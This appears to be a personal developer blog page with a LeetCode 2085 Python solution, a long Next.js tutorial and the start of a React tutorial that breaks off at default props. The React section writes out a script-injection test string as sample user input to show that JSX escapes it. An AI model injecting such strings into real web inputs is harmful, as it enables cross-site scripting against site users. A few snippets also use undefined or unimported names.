avatar
Siz Long

My name is Siz. I am a computer science graduate student specializing in backend development with Golang and Python, seeking opportunities in innovative tech projects. My personal website is me.longsizhuo.com .Connect with me on LinkedIn: https://www.linkedin.com/in/longsizhuo/.

  • Resume
  • Archives
  • Categories
  • Photos
  • Music



{{ date }}

{{ time }}

avatar
Siz Long

My name is Siz. I am a computer science graduate student specializing in backend development with Golang and Python, seeking opportunities in innovative tech projects. My personal website is me.longsizhuo.com .Connect with me on LinkedIn: https://www.linkedin.com/in/longsizhuo/.

  • 主页
  • Resume
  • Archives
  • Categories
  • Photos
  • Music

2085. Public string that has occurred once

  2023-12-01
字数统计: 95字   |   阅读时长: 1min

topic:

screenshot2024-01-12 afternoon5.12.50.png

Thought:

First useCountercount,use & The symbol is connected to two dictionarieskeys, The remaining part is both。
Traversing this remaining part,Determine whether it is equal to 1 Be

Code:

1
2
3
4
5
6
7
8
9
10
class Solution:
def countWords(self, words1: List[str], words2: List[str]) -> int:
words_1 = Counter(words1)
words_2 = Counter(words2)
ans = 0
for i in words_1.keys() & words_2.keys():
if words_1[i] == 1 and words_2[i] == 1:
ans += 1
return ans

One -line writing
1
return sum(1 for i in Counter(words1) & Counter(words2) if Counter(words1)[i] == 1 and Counter(words2)[i] == 1)
  • Array
  • String
  • Hash table
  • count

show all >>

Next.js Fundamentals

  2023-06-18
字数统计: 4.8k字   |   阅读时长: 30min

Next.js Fundamentals

Next.js is a powerful React framework that provides features like server-side rendering, static site generation, API routes, and more. This guide covers the core concepts and features of Next.js that every frontend developer should understand.

What is Next.js?

Next.js is a production-ready framework built on top of React that adds features like:

  • Server-Side Rendering (SSR)
  • Static Site Generation (SSG)
  • Incremental Static Regeneration (ISR)
  • File-based routing
  • API Routes
  • Built-in CSS and Sass support
  • Code splitting and bundling
  • Image optimization
  • Internationalization

Getting Started with Next.js

Creating a New Project

1
2
3
4
5
6
7
8
9
10
11
# Create a new Next.js app
npx create-next-app my-next-app

# With TypeScript
npx create-next-app@latest --ts my-next-app

# Navigate to the project
cd my-next-app

# Run the development server
npm run dev

Project Structure

1
2
3
4
5
6
7
8
9
10
11
12
13
my-next-app/
├── .next/ # Build output (auto-generated)
├── node_modules/ # Dependencies
├── pages/ # Routes (each file is a route)
│ ├── api/ # API Routes
│ ├── _app.js # Custom App component
│ ├── _document.js # Custom Document component
│ └── index.js # Home page (/)
├── public/ # Static assets
├── styles/ # CSS or SCSS files
├── components/ # React components
├── next.config.js # Next.js configuration
└── package.json # Project dependencies

App Directory (Next.js 13+)

1
2
3
4
5
6
7
my-next-app/
├── app/ # App Router (Next.js 13+)
│ ├── layout.js # Root layout
│ ├── page.js # Home page
│ └── about/ # About page
│ └── page.js
└── ...

Routing

Next.js has a file-system based router where files and folders in the pages directory (or app directory in version 13+) automatically become routes.

Pages Router (Traditional)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// pages/index.js -> /
export default function Home() {
return <h1>Home Page</h1>;
}

// pages/about.js -> /about
export default function About() {
return <h1>About Page</h1>;
}

// pages/blog/index.js -> /blog
export default function Blog() {
return <h1>Blog Index</h1>;
}

// pages/blog/[slug].js -> /blog/:slug
export default function BlogPost({ slug }) {
return <h1>Blog Post: {slug}</h1>;
}

Dynamic Routes

1
2
3
4
5
6
7
8
9
// pages/posts/[id].js
import { useRouter } from 'next/router';

export default function Post() {
const router = useRouter();
const { id } = router.query;

return <h1>Post: {id}</h1>;
}

Nested Dynamic Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// pages/posts/[category]/[slug].js
import { useRouter } from 'next/router';

export default function CategoryPost() {
const router = useRouter();
const { category, slug } = router.query;

return (
<div>
<h1>Category: {category}</h1>
<h2>Post: {slug}</h2>
</div>
);
}

Catch-All Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// pages/docs/[...slug].js
import { useRouter } from 'next/router';

export default function Docs() {
const router = useRouter();
const { slug } = router.query;
// slug is an array: /docs/a/b/c -> ['a', 'b', 'c']

return (
<div>
<h1>Documentation</h1>
<p>Path: {slug?.join('/')}</p>
</div>
);
}

Optional Catch-All Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// pages/[[...slug]].js
import { useRouter } from 'next/router';

export default function OptionalCatchAll() {
const router = useRouter();
const { slug } = router.query;
// / -> slug is undefined
// /a -> slug is ['a']
// /a/b/c -> slug is ['a', 'b', 'c']

return (
<div>
<h1>Optional Catch All</h1>
<p>Path: {slug?.join('/') || 'Home'}</p>
</div>
);
}

Navigation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import Link from 'next/link';
import { useRouter } from 'next/router';

export default function Navigation() {
const router = useRouter();

return (
<nav>
{/* Declarative navigation */}
<Link href="/">Home</Link>
<Link href="/about">About</Link>

{/* With dynamic route */}
<Link href={`/posts/${postId}`}>Post Title</Link>

{/* With query parameters */}
<Link href={{
pathname: '/blog/[slug]',
query: { slug: 'hello-world' },
}}>
Blog Post
</Link>

{/* Imperative navigation */}
<button onClick={() => router.push('/contact')}>
Contact
</button>

{/* Go back */}
<button onClick={() => router.back()}>
Back
</button>
</nav>
);
}

Layouts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// components/Layout.js
export default function Layout({ children }) {
return (
<div className="layout">
<header>Header</header>
<main>{children}</main>
<footer>Footer</footer>
</div>
);
}

// pages/_app.js
import Layout from '../components/Layout';
import '../styles/globals.css';

function MyApp({ Component, pageProps }) {
return (
<Layout>
<Component {...pageProps} />
</Layout>
);
}

export default MyApp;

Data Fetching

Next.js provides several methods for fetching data, depending on your needs.

getStaticProps (Static Site Generation)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// pages/posts/index.js
export default function Posts({ posts }) {
return (
<div>
<h1>Blog Posts</h1>
<ul>
{posts.map((post) => (
<li key={post.id}>{post.title}</li>
))}
</ul>
</div>
);
}

// This function runs at build time in production
export async function getStaticProps() {
const res = await fetch('https://jsonplaceholder.typicode.com/posts');
const posts = await res.json();

return {
props: {
posts, // Will be passed to the page component as props
},
// Re-generate at most once per 10 seconds
revalidate: 10, // Incremental Static Regeneration
};
}

getStaticPaths (for Dynamic Routes with SSG)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// pages/posts/[id].js
export default function Post({ post }) {
return (
<div>
<h1>{post.title}</h1>
<p>{post.body}</p>
</div>
);
}

// This function gets called at build time
export async function getStaticPaths() {
const res = await fetch('https://jsonplaceholder.typicode.com/posts');
const posts = await res.json();

// Get the paths we want to pre-render based on posts
const paths = posts.slice(0, 10).map((post) => ({
params: { id: post.id.toString() },
}));

return {
paths,
fallback: 'blocking', // 'blocking', true, or false
};
}

// This also gets called at build time
export async function getStaticProps({ params }) {
const res = await fetch(`https://jsonplaceholder.typicode.com/posts/${params.id}`);
const post = await res.json();

return {
props: { post },
revalidate: 60, // Re-generate at most once per minute
};
}

getServerSideProps (Server-Side Rendering)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// pages/dashboard.js
export default function Dashboard({ data }) {
return (
<div>
<h1>Dashboard</h1>
<p>Current time: {data.time}</p>
</div>
);
}

// This gets called on every request
export async function getServerSideProps(context) {
// context contains request, response, query, etc.
const { req, res, query } = context;

// Fetch data from external API or database
const data = {
time: new Date().toISOString(),
user: query.user || 'Anonymous',
};

return {
props: { data }, // Will be passed to the page component as props
};
}

Incremental Static Regeneration (ISR)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// pages/products/[id].js
export default function Product({ product, lastUpdated }) {
return (
<div>
<h1>{product.name}</h1>
<p>Price: ${product.price}</p>
<p>Last updated: {lastUpdated}</p>
</div>
);
}

export async function getStaticPaths() {
// Pre-render only popular products
const popularProducts = await fetchPopularProducts();

const paths = popularProducts.map((product) => ({
params: { id: product.id.toString() },
}));

return {
paths,
fallback: 'blocking', // Generate remaining pages on-demand
};
}

export async function getStaticProps({ params }) {
const product = await fetchProduct(params.id);

return {
props: {
product,
lastUpdated: new Date().toISOString(),
},
revalidate: 60, // Regenerate after 60 seconds
};
}

Client-Side Data Fetching

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// pages/client-side.js
import { useState, useEffect } from 'react';

export default function ClientSide() {
const [data, setData] = useState(null);
const [isLoading, setIsLoading] = useState(true);

useEffect(() => {
async function fetchData() {
try {
const response = await fetch('/api/data');
const result = await response.json();
setData(result);
} catch (error) {
console.error('Error fetching data:', error);
} finally {
setIsLoading(false);
}
}

fetchData();
}, []);

if (isLoading) return <div>Loading...</div>;
if (!data) return <div>No data</div>;

return (
<div>
<h1>Client-side Data Fetching</h1>
<pre>{JSON.stringify(data, null, 2)}</pre>
</div>
);
}

SWR for Client-Side Data Fetching

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// pages/swr-example.js
import useSWR from 'swr';

// Fetcher function
const fetcher = (...args) => fetch(...args).then(res => res.json());

export default function SWRExample() {
const { data, error, isLoading } = useSWR('/api/user', fetcher, {
refreshInterval: 5000, // Poll every 5 seconds
});

if (error) return <div>Error loading data</div>;
if (isLoading) return <div>Loading...</div>;

return (
<div>
<h1>User Profile</h1>
<p>Name: {data.name}</p>
<p>Email: {data.email}</p>
</div>
);
}

API Routes

Next.js allows you to create API endpoints as serverless functions.

Basic API Route

1
2
3
4
// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ name: 'John Doe' });
}

Dynamic API Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// pages/api/users/[id].js
export default function handler(req, res) {
const { id } = req.query;
const { method } = req;

switch (method) {
case 'GET':
// Get user data from database
res.status(200).json({ id, name: `User ${id}` });
break;
case 'PUT':
// Update user in database
res.status(200).json({ id, name: req.body.name });
break;
case 'DELETE':
// Delete user from database
res.status(200).json({ id, deleted: true });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

API Route with Middleware

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// middleware/auth.js
export function withAuth(handler) {
return async (req, res) => {
// Check for auth token
const token = req.headers.authorization;

if (!token || !token.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Unauthorized' });
}

// Verify token and get user
try {
const user = verifyToken(token.split(' ')[1]);
req.user = user;
return handler(req, res);
} catch (error) {
return res.status(401).json({ error: 'Invalid token' });
}
};
}

// pages/api/protected.js
import { withAuth } from '../../middleware/auth';

function handler(req, res) {
// req.user is available from the middleware
res.status(200).json({ message: `Hello ${req.user.name}` });
}

export default withAuth(handler);

Styling in Next.js

Next.js has built-in support for various styling approaches.

Global CSS

1
2
3
4
5
6
7
8
// pages/_app.js
import '../styles/globals.css';

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />;
}

export default MyApp;

CSS Modules

1
2
3
4
5
6
7
8
9
10
11
/* styles/Home.module.css */
.container {
max-width: 1200px;
margin: 0 auto;
padding: 20px;
}

.title {
color: #0070f3;
font-size: 3rem;
}
1
2
3
4
5
6
7
8
9
10
// pages/index.js
import styles from '../styles/Home.module.css';

export default function Home() {
return (
<div className={styles.container}>
<h1 className={styles.title}>Welcome to Next.js</h1>
</div>
);
}

Sass/SCSS

1
2
3
4
5
6
7
8
9
10
11
12
// styles/globals.scss
$primary-color: #0070f3;

.container {
max-width: 1200px;
margin: 0 auto;

.title {
color: $primary-color;
font-size: 3rem;
}
}

CSS-in-JS (Styled Components)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from 'next/document';
import { ServerStyleSheet } from 'styled-components';

export default class MyDocument extends Document {
static async getInitialProps(ctx) {
const sheet = new ServerStyleSheet();
const originalRenderPage = ctx.renderPage;

try {
ctx.renderPage = () =>
originalRenderPage({
enhanceApp: (App) => (props) =>
sheet.collectStyles(<App {...props} />),
});

const initialProps = await Document.getInitialProps(ctx);
return {
...initialProps,
styles: (
<>
{initialProps.styles}
{sheet.getStyleElement()}
</>
),
};
} finally {
sheet.seal();
}
}
}

// components/StyledButton.js
import styled from 'styled-components';

const StyledButton = styled.button`
background-color: ${(props) => (props.primary ? '#0070f3' : 'white')};
color: ${(props) => (props.primary ? 'white' : '#0070f3')};
border: 1px solid #0070f3;
padding: 10px 20px;
border-radius: 4px;
cursor: pointer;
`;

export default StyledButton;

Tailwind CSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// Install tailwind
// npm install -D tailwindcss postcss autoprefixer
// npx tailwindcss init -p

// tailwind.config.js
module.exports = {
content: [
'./pages/**/*.{js,ts,jsx,tsx}',
'./components/**/*.{js,ts,jsx,tsx}',
],
theme: {
extend: {},
},
plugins: [],
};

// styles/globals.css
@tailwind base;
@tailwind components;
@tailwind utilities;

// Usage in component
export default function TailwindExample() {
return (
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<h1 className="text-3xl font-bold text-blue-600">
Tailwind Example
</h1>
<button className="mt-4 py-2 px-4 bg-blue-500 text-white rounded hover:bg-blue-600">
Click me
</button>
</div>
);
}

Image Optimization

Next.js includes a built-in Image component with automatic optimization.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import Image from 'next/image';

export default function ImageExample() {
return (
<div>
<h1>Image Optimization Example</h1>

{/* Local images */}
<Image
src="/images/profile.jpg" // From public directory
alt="Profile Picture"
width={400}
height={300}
priority // Preload this image
/>

{/* Remote images */}
<Image
src="https://example.com/profile.jpg"
alt="Remote Profile Picture"
width={400}
height={300}
quality={80} // 0-100, default is 75
/>

{/* Fill container */}
<div style={{ position: 'relative', width: '100%', height: '300px' }}>
<Image
src="/images/hero.jpg"
alt="Hero Image"
fill
style={{ objectFit: 'cover' }}
/>
</div>

{/* Responsive sizes */}
<Image
src="/images/responsive.jpg"
alt="Responsive Image"
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 50vw, 33vw"
fill
/>
</div>
);
}

Environment Variables

Next.js has built-in support for environment variables.

1
2
3
4
5
6
7
8
9
10
11
# .env (for all environments, not committed to git)
DATABASE_PASSWORD=supersecret

# .env.local (for all environments, not committed to git)
API_KEY=your-api-key

# .env.development (for development, can be committed)
NEXT_PUBLIC_API_URL=http://localhost:3000/api

# .env.production (for production, can be committed)
NEXT_PUBLIC_API_URL=https://myapp.com/api
1
2
3
4
5
6
7
8
9
10
11
12
13
// Accessing environment variables
console.log(process.env.API_KEY); // Server-side only
console.log(process.env.NEXT_PUBLIC_API_URL); // Available in browser

// In a component
export default function EnvExample() {
return (
<div>
<h1>Environment Variables</h1>
<p>API URL: {process.env.NEXT_PUBLIC_API_URL}</p>
</div>
);
}

SEO & Head Management

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import Head from 'next/head';

export default function SEOExample({ title, description }) {
return (
<>
<Head>
<title>{title}</title>
<meta name="description" content={description} />
<meta property="og:title" content={title} />
<meta property="og:description" content={description} />
<meta property="og:image" content="https://example.com/image.jpg" />
<meta name="twitter:card" content="summary_large_image" />
<link rel="canonical" href="https://example.com/page" />
</Head>

<main>
<h1>{title}</h1>
<p>{description}</p>
</main>
</>
);
}

SEOExample.defaultProps = {
title: 'Default Page Title',
description: 'Default page description for SEO',
};

Authentication

Next.js works well with various authentication solutions.

NextAuth.js Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// pages/api/auth/[...nextauth].js
import NextAuth from 'next-auth';
import Providers from 'next-auth/providers';

export default NextAuth({
providers: [
Providers.Google({
clientId: process.env.GOOGLE_ID,
clientSecret: process.env.GOOGLE_SECRET,
}),
Providers.GitHub({
clientId: process.env.GITHUB_ID,
clientSecret: process.env.GITHUB_SECRET,
}),
Providers.Email({
server: process.env.EMAIL_SERVER,
from: process.env.EMAIL_FROM,
}),
],
database: process.env.DATABASE_URL,
session: {
jwt: true,
},
callbacks: {
async jwt(token, user, account, profile, isNewUser) {
// Add custom fields to token
if (user?.role) {
token.role = user.role;
}
return token;
},
async session(session, token) {
// Add custom fields to session
session.user.role = token.role;
return session;
},
},
});

// pages/_app.js
import { SessionProvider } from 'next-auth/react';

function MyApp({ Component, pageProps: { session, ...pageProps } }) {
return (
<SessionProvider session={session}>
<Component {...pageProps} />
</SessionProvider>
);
}

export default MyApp;

// components/Protected.js
import { useSession, signIn } from 'next-auth/react';

export default function Protected() {
const { data: session, status } = useSession();
const loading = status === 'loading';

if (loading) return <div>Loading...</div>;

if (!session) {
return (
<div>
<p>You must be signed in to view this page</p>
<button onClick={() => signIn()}>Sign in</button>
</div>
);
}

return (
<div>
<h1>Protected Page</h1>
<p>Welcome {session.user.name}</p>
</div>
);
}

Internationalization (i18n)

Next.js has built-in support for internationalized routing and content.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// next.config.js
module.exports = {
i18n: {
// Locales you want to support
locales: ['en', 'fr', 'es'],
// Default locale
defaultLocale: 'en',
// Domain-specific locales
domains: [
{
domain: 'example.com',
defaultLocale: 'en',
},
{
domain: 'example.fr',
defaultLocale: 'fr',
},
{
domain: 'example.es',
defaultLocale: 'es',
},
],
},
};

// pages/index.js
import { useRouter } from 'next/router';
import Link from 'next/link';

const translations = {
en: {
title: 'Welcome',
description: 'This is my international website',
},
fr: {
title: 'Bienvenue',
description: 'Ceci est mon site web international',
},
es: {
title: 'Bienvenido',
description: 'Este es mi sitio web internacional',
},
};

export default function Home() {
const router = useRouter();
const { locale, locales, defaultLocale } = router;
const t = translations[locale];

return (
<div>
<h1>{t.title}</h1>
<p>{t.description}</p>

<div>
{locales.map((l) => (
<Link
key={l}
href={router.asPath}
locale={l}
legacyBehavior
>
<a style={{ marginRight: '10px' }}>
{l.toUpperCase()}
</a>
</Link>
))}
</div>
</div>
);
}

Advanced Features

Middleware (Next.js 12+)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// middleware.js (at project root)
import { NextResponse } from 'next/server';

export function middleware(request) {
// Get pathname
const { pathname } = request.nextUrl;

// Redirect /blog to /posts
if (pathname === '/blog') {
return NextResponse.redirect(new URL('/posts', request.url));
}

// Check for authentication on /dashboard
if (pathname.startsWith('/dashboard')) {
const authCookie = request.cookies.get('auth');
if (!authCookie) {
// Redirect to login
return NextResponse.redirect(new URL('/login', request.url));
}
}

// Continue
return NextResponse.next();
}

// Only run middleware on specific paths
export const config = {
matcher: ['/dashboard/:path*', '/blog', '/api/:path*'],
};

Custom App

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// pages/_app.js
import { useState, useEffect } from 'react';
import { Provider } from 'react-redux';
import { store } from '../store';
import Layout from '../components/Layout';
import '../styles/globals.css';

export default function MyApp({ Component, pageProps }) {
const [loading, setLoading] = useState(false);

// Use custom layout if provided by the page
const getLayout = Component.getLayout || ((page) => <Layout>{page}</Layout>);

// Track page loading
useEffect(() => {
const handleStart = () => setLoading(true);
const handleComplete = () => setLoading(false);

router.events.on('routeChangeStart', handleStart);
router.events.on('routeChangeComplete', handleComplete);
router.events.on('routeChangeError', handleComplete);

return () => {
router.events.off('routeChangeStart', handleStart);
router.events.off('routeChangeComplete', handleComplete);
router.events.off('routeChangeError', handleComplete);
};
}, []);

return (
<Provider store={store}>
{loading && <LoadingIndicator />}
{getLayout(<Component {...pageProps} />)}
</Provider>
);
}

Custom Document

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from 'next/document';

class MyDocument extends Document {
static async getInitialProps(ctx) {
const initialProps = await Document.getInitialProps(ctx);
return { ...initialProps };
}

render() {
return (
<Html lang="en">
<Head>
<link
href="https://fonts.googleapis.com/css2?family=Inter&display=swap"
rel="stylesheet"
/>
<link rel="icon" href="/favicon.ico" />
</Head>
<body className="bg-gray-100">
<Main />
<NextScript />
</body>
</Html>
);
}
}

export default MyDocument;

Error Handling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// pages/404.js - Custom 404 page
export default function Custom404() {
return (
<div className="error-container">
<h1>404 - Page Not Found</h1>
<p>Sorry, we couldn't find the page you're looking for</p>
<Link href="/">Go back home</Link>
</div>
);
}

// pages/500.js - Custom 500 page
export default function Custom500() {
return (
<div className="error-container">
<h1>500 - Server Error</h1>
<p>Sorry, something went wrong on our end</p>
<Link href="/">Go back home</Link>
</div>
);
}

// pages/_error.js - Custom error page
function Error({ statusCode, err }) {
return (
<div className="error-container">
<h1>
{statusCode
? `An error ${statusCode} occurred on server`
: 'An error occurred on client'}
</h1>
{err && <p>{err.message}</p>}
<Link href="/">Go back home</Link>
</div>
);
}

Error.getInitialProps = ({ res, err }) => {
const statusCode = res ? res.statusCode : err ? err.statusCode : 404;
return { statusCode, err };
};

export default Error;

Next.js 13 App Router

Next.js 13 introduced a new App Router with new conventions and features.

App Directory Structure

1
2
3
4
5
6
7
8
9
10
11
12
app/
├── layout.js # Root layout (required)
├── page.js # Home page
├── about/
│ └── page.js # About page (/about)
├── blog/
│ ├── layout.js # Blog layout (applies to all blog routes)
│ ├── page.js # Blog index (/blog)
│ └── [slug]/
│ └── page.js # Blog post (/blog/:slug)
└── api/
└── route.js # API endpoint

Server Components (default)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// app/page.js
// This is a Server Component by default
async function HomePage() {
// Data fetching is simplified in Server Components
const data = await fetch('https://api.example.com/data').then(res => res.json());

return (
<div>
<h1>Home Page</h1>
<pre>{JSON.stringify(data, null, 2)}</pre>
</div>
);
}

export default HomePage;

Client Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// app/counter.js
'use client'; // This marks it as a Client Component

import { useState } from 'react';

export default function Counter() {
const [count, setCount] = useState(0);

return (
<div>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
</div>
);
}

Layouts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// app/layout.js
export default function RootLayout({ children }) {
return (
<html lang="en">
<body>
<header>Site Header</header>
<main>{children}</main>
<footer>Site Footer</footer>
</body>
</html>
);
}

// app/blog/layout.js
export default function BlogLayout({ children }) {
return (
<div className="blog-layout">
<aside>Blog Sidebar</aside>
<div className="content">{children}</div>
</div>
);
}

Route Handlers (API Routes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// app/api/users/route.js
import { NextResponse } from 'next/server';

export async function GET() {
const users = await fetchUsers();
return NextResponse.json(users);
}

export async function POST(request) {
const data = await request.json();
const newUser = await createUser(data);
return NextResponse.json(newUser, { status: 201 });
}

// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params;
const user = await fetchUser(id);

if (!user) {
return NextResponse.json({ error: 'User not found' }, { status: 404 });
}

return NextResponse.json(user);
}

Data Fetching in App Router

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// app/products/page.js
async function getProducts() {
// This request is fetch from the server during rendering
const res = await fetch('https://api.example.com/products', { cache: 'no-store' });
return res.json();
}

export default async function ProductsPage() {
const products = await getProducts();

return (
<div>
<h1>Products</h1>
<ul>
{products.map(product => (
<li key={product.id}>{product.name}</li>
))}
</ul>
</div>
);
}

// app/products/[id]/page.js
async function getProduct(id) {
const res = await fetch(`https://api.example.com/products/${id}`, {
// Equivalent to getStaticProps with ISR
next: { revalidate: 60 }
});
return res.json();
}

export default async function ProductPage({ params }) {
const product = await getProduct(params.id);

return (
<div>
<h1>{product.name}</h1>
<p>{product.description}</p>
<p>Price: ${product.price}</p>
</div>
);
}

// Generate static paths (equivalent to getStaticPaths)
export async function generateStaticParams() {
const products = await fetch('https://api.example.com/products').then(res => res.json());

return products.map(product => ({
id: product.id.toString(),
}));
}

Loading and Error States

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// app/products/loading.js - Shown while the page is loading
export default function Loading() {
return <div className="loading-spinner">Loading products...</div>;
}

// app/products/error.js - Shown if there's an error in the page
'use client'; // Error components must be Client Components

export default function Error({ error, reset }) {
return (
<div className="error-container">
<h2>Something went wrong loading products</h2>
<p>{error.message}</p>
<button onClick={() => reset()}>Try again</button>
</div>
);
}

// app/products/not-found.js - Shown for nonexistent products
export default function NotFound() {
return (
<div className="not-found">
<h2>Product Not Found</h2>
<p>We couldn't find the product you're looking for</p>
</div>
);
}

Deployment

Next.js applications can be easily deployed to various platforms.

Vercel (Recommended)

1
2
3
4
5
6
7
8
# Install Vercel CLI
npm install -g vercel

# Deploy
vercel

# Production deployment
vercel --prod

Self-Hosting

1
2
3
4
5
# Build the application
npm run build

# Start the production server
npm start

Learning Resources

  • Next.js Documentation
  • Learn Next.js
  • Next.js GitHub Repository
  • Vercel Platform
  • Next.js Discord
  • Next.js Blog

Next.js is a powerful framework for building modern web applications with React. Its features like server-side rendering, static site generation, and API routes make it an excellent choice for production applications. By understanding these core concepts, you’ll be well-equipped to build fast, SEO-friendly, and scalable applications.

  • Web Development
  • React
  • Frontend Framework
  • Next.js
  • SSR
  • SSG

show all >>

React Fundamentals

  2023-06-17
字数统计: 4.9k字   |   阅读时长: 30min

React Fundamentals

React is a popular JavaScript library for building user interfaces, particularly single-page applications. This guide covers the core concepts and features of React that every frontend developer should understand.

What is React?

React is a declarative, efficient, and flexible JavaScript library for building user interfaces. It lets you compose complex UIs from small and isolated pieces of code called “components”.

Key Features of React

  • Component-Based: Build encapsulated components that manage their own state
  • Declarative: Design simple views for each state in your application
  • Virtual DOM: An in-memory representation of the real DOM for efficient updates
  • Unidirectional Data Flow: Data flows down from parent to child components
  • JSX: A syntax extension that allows you to write HTML-like code in JavaScript

Setting Up a React Project

Using Create React App

1
2
3
4
5
6
7
8
# Install Create React App
npx create-react-app my-app

# Navigate to the project
cd my-app

# Start the development server
npm start

Using Vite (Modern Alternative)

1
2
3
4
5
6
7
8
9
10
11
# Create a new project with Vite
npm create vite@latest my-react-app -- --template react

# Navigate to the project
cd my-react-app

# Install dependencies
npm install

# Start the development server
npm run dev

JSX (JavaScript XML)

JSX is a syntax extension for JavaScript that looks similar to HTML but has the full power of JavaScript.

Basic JSX Syntax

1
const element = <h1>Hello, world!</h1>;

Expressions in JSX

1
2
const name = 'John Doe';
const element = <h1>Hello, {name}</h1>;

JSX Attributes

1
2
3
4
5
// HTML attributes are camelCase in JSX
const element = <div className="container" tabIndex="0"></div>;

// Self-closing tags must close
const img = <img src="image.jpg" alt="Description" />;

JSX Represents Objects

JSX transpiles to React.createElement() calls:

1
2
3
4
5
6
7
8
9
// This JSX:
const element = <h1 className="greeting">Hello, world!</h1>;

// Transpiles to this:
const element = React.createElement(
'h1',
{ className: 'greeting' },
'Hello, world!'
);

JSX Prevents Injection Attacks

1
2
3
// Content is escaped by default
const userInput = '<script>alert("XSS attack")</script>';
const element = <div>{userInput}</div>; // This is safe

Components

Components are the building blocks of a React application. They encapsulate UI and logic into reusable pieces.

Functional Components

1
2
3
4
5
6
function Welcome(props) {
return <h1>Hello, {props.name}</h1>;
}

// ES6 Arrow Function
const Welcome = (props) => <h1>Hello, {props.name}</h1>;

Class Components

1
2
3
4
5
6
7
import React, { Component } from 'react';

class Welcome extends Component {
render() {
return <h1>Hello, {this.props.name}</h1>;
}
}

Composing Components

1
2
3
4
5
6
7
8
9
function App() {
return (
<div>
<Welcome name="Alice" />
<Welcome name="Bob" />
<Welcome name="Charlie" />
</div>
);
}

Props (Properties)

Props are read-only data that are passed from parent to child components.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Passing props
function App() {
return <Welcome name="John" age={25} isActive={true} />;
}

// Receiving props
function Welcome(props) {
return (
<div>
<h1>Hello, {props.name}</h1>
<p>Age: {props.age}</p>
<p>Active: {props.isActive ? 'Yes' : 'No'}</p>
</div>
);
}

// Destructuring props
function Welcome({ name, age, isActive }) {
return (
<div>
<h1>Hello, {name}</h1>
<p>Age: {age}</p>
<p>Active: {isActive ? 'Yes' : 'No'}</p>
</div>
);
}

Default Props

1
2
3
4
5
6
7
8
